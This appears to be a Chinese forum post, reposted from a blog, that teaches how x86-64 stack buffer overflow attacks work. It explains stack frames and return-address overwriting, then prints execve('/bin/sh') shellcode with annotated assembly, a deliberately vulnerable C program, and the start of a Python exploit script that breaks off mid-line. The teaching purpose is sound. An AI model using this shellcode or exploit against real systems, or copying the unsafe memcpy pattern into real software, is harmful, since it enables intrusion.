12558网页游戏私服论坛

 找回密码
 立即注册
游戏开服表 申请开服
游戏名称 游戏描述 开服状态 游戏福利 运营商 游戏链接
攻城掠地-仿官 全新玩法,觉醒武将,觉醒技能 每周新区 经典复古版本,长久稳定 进入游戏
巅峰新版攻 攻城掠地公益服 攻城掠地SF 新兵种、新武将(兵种) 进入游戏
攻城掠地公 散人玩家的天堂 新开 进入游戏
改版攻城掠 上线即可国战PK 稳定新区 全新改版,功能强大 进入游戏
少年江山 高福利高爆率 刚开一秒 江湖水落潜蛟龙 进入游戏
太古封魔录 开服送10亿钻石 福利多多 不用充钱也可升级 进入游戏
神魔之道 签到送元宝 稳定开新区 送豪华签到奖励 进入游戏
神奇三国 统帅三军,招揽名将 免费玩新区 激情国战,征战四方 进入游戏
龙符 三日豪礼领到爽 天天开新区 助你征战无双 进入游戏
王者之师 免费领豪华奖励 免费玩新区 6元送6888元宝 进入游戏
三国霸业 战车-珍宝-觉醒-攻城掠地SF-全新玩法 免费玩新区 攻城掠地私服 进入游戏
手游私服盒子 各类免费游戏 0.1折送海量资源 各类手游私服 进入游戏
皇家MU2 《奇迹 2:传奇》韩国网禅公司《奇迹》正统续作。 3D锁视角Mmrpg 暗黑3+传奇+流放之路+奇迹 进入游戏
查看: 244|回复: 0

x86架构的内存溢出攻击原理演示(加强对计算机运行原理的理解,说明内存溢出

[复制链接]
发表于 2020-7-7 20:12:34 | 显示全部楼层 |阅读模式
1 本文搬运于我的CSDN blog。
2 第一次发帖,有不合理的地方,希望斑竹直接delete。
3 由于长期拿着各位大大的总结的知识,我深表感激。这里我总结了一个关于软件调试的原理,回馈给大家。




#PS:要转载请注明出处,本人版权所有
PS:这个只是  《  我自己    》理解,如果和你的

原则相冲突,请谅解,勿喷

本文仅用于学习计算机程序运行原理,请不要用作其他违法用途。
前言

内存溢出可以说是我们程序员经常遇到的问题了,但是一般过程中,我们只会处理让程序崩溃的内存溢出,只要程序不崩溃,我们基本不会管的了。这里,我将会演示一下程序内存溢出的严重后果。同时也警示我们自身,写程序一定要逻辑严密一点,不要犯低级错误。(然而我们不可能避免错误,只要没有比较明显的错误即可。)
前置知识(64bit)

汇编中的几个重要指令:

call xxx 等价于:push eip 和 jump xxx
leave 等价于:  pop rbp 和 mov rbp,rsp
ret 等价于 pop eip
栈帧的知识:

参考我之前的文章:(这里就不贴链接了,大家百度栈帧的知识吧,等会儿被人肉了不好)
简单说就是,跳转到一个子过程,会又一片新的内存区域,有三个重要的寄存器rbp,rsp,eip 可以表示和这个区域的属性。看下图:(在调用一个子过程的时候,注意rsp,rbp,eip的变化,新的rsp和rbp的生成,新老rsp和rbp的关系)

注意:每个子调用的完整过程为:这里面包含了所有的rbp,rsp,eip的变化
call sub_call       ; eip入栈,rsp-8
push rbp                 ; rbp 入栈  rsp-8
mov rsp,rbp        ; rsp 赋值给rbp,作为一个新的栈帧开始,rbp为栈底
... ...                    ;这里就是子调用的变量内存分配,rsp-0xN
... ...                         ;其他过程
... ...                    ;其他过程
leave                  ;rbp赋值给rsp, rbp出栈,rsp+8
ret                       ;eip出栈,rsp+8
这样的一个过程,就完成了现场调整执行子调用然后恢复现场的过程。
内存溢出的攻击的简要原理(以上图为例)

x86栈帧是从高地址到低地址的排列的。如果我在sub_func中分配了0xN字节的buf,那么上图的rbp'和rsp'的关系变为rbp'=rsp'+0xN,如果没有做安全的内存使用,我直接写入了0xN+8+8的数据,理论上来说,我就覆盖了上图栈中eip的值,eip存放的是sub_func返回时,要执行Main_Func下一条指令的地址,也就是说,我控制了,sub_func返回时要执行的地址内容,那么通过精心构造的内容,如果写入到buf,就可能执行我们想要的代码。
那么是不是内存溢出很简单呢?操作系统难道那么不安全吗?
现代内存堆栈保护技术出现

1 编译器堆栈检测
2 堆栈不可执行
3 地址空间随机化等等
这些东西都可以提高内存溢出的难度,我是一个小白,为了理解内存攻击,我得把他们关闭了。
内存溢出攻击实例

1 准备一份shellcode,就是上面替换eip后,你想要执行的一份代码。我这里选择,生成一个shell。

对应的16进制:
\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05
c版本
//       int execve(const char *filename, char *const argv[],char *const envp[]);const char * a = "/bin/sh";char * b[1];b[0] = a;execve(a, b, NULL);汇编版本(64位,注意)
    xor eax, eax ; 清空eax    mov rbx, 0xFF978CD091969DD1 ; 0x6873276e69622f的补码    neg rbx;对rbx求补码,rbx=0x6873276e69622f,代表hs/nib/    push rbx;把/bin/sh的地址放入栈,rsp-8    push rsp;rsp放入堆栈,rsp-8    pop rdi;把/bin/sh的地址给rdi,rdi作为作为参数参数的第一个参数,在64系统中,rsp+8    cdq;把edx的每一位设置为eax的最高位,就是edx清零,然后把edx作为eax的高位。    push rdx;内存地址高8字节rsp-8    push rdi;内存地址低8字节,指向/bin/sh,rsp-8    push rsp;保存rsp,rsp-8    pop rsi;rsi=新构造的一个变量地址。指向/bin/sh,rsp+8    mov al, 0x3b;设置系统调用号0x3b execv    syscall;系统调用64位系统,execve的系统调用号为59,也就是0x3b

2 实际实例攻击

异常代码
#include #include #include #include #include #include void overflow(char * msg){        char buf[10];        memcpy(buf, msg, 100);        printf("buf out: %s", buf);}int main(int argc, char * argv[]){        char main_buf[100];        int f = open(argv[1], O_RDONLY);        read(f, main_buf, 100);        overflow(main_buf);        return 0;}exp 辅助生产工具,生成exp文件,python exp.py>msg
exp.py 文件内容
#!/usr/bin/pythonimport structfrom subprocess import calladdr=0x7fffffffDE5Bs_c="\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"buf="M"*10buf+="M"*8buf+=struct.pack("

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
楼主热帖
回复

使用道具 举报

*滑块验证:
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|Archiver|手机版|小黑屋|12558网页游戏私服论坛 |网站地图

GMT+8, 2024-11-25 12:52 , Processed in 0.078125 second(s), 31 queries .

Powered by Discuz! X3.4

© 2001-2017 Comsenz Inc.

快速回复 返回顶部 返回列表